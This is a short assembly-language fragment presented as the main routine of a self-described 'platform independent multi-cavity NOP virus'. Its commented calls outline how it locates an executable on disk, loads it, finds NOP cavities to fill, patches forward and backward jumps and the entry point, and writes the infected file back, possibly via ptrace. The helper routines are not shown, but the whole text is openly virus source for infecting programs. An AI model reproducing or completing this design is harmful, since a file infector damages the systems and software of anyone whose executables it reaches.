RECON06 . A PLATFORM INDEPENDENT MULTI-CAVITY NOP VIRUS
# "main" # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
call find_target
pushl %eax # A pointer to the pathname
# of an executable on disk
call load_victim
call count_nops
call copy_sizes # Copy the list of sizes
# of instructions from the old
# executable to the new
call fix_fwd_jmps
call fix_backwd_jmps # we also set the original entry
# point push in fix_backwd_jmps
# becaut it's convenient
call unload_victim # write the data back to a file or
# maybe even ptrace()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #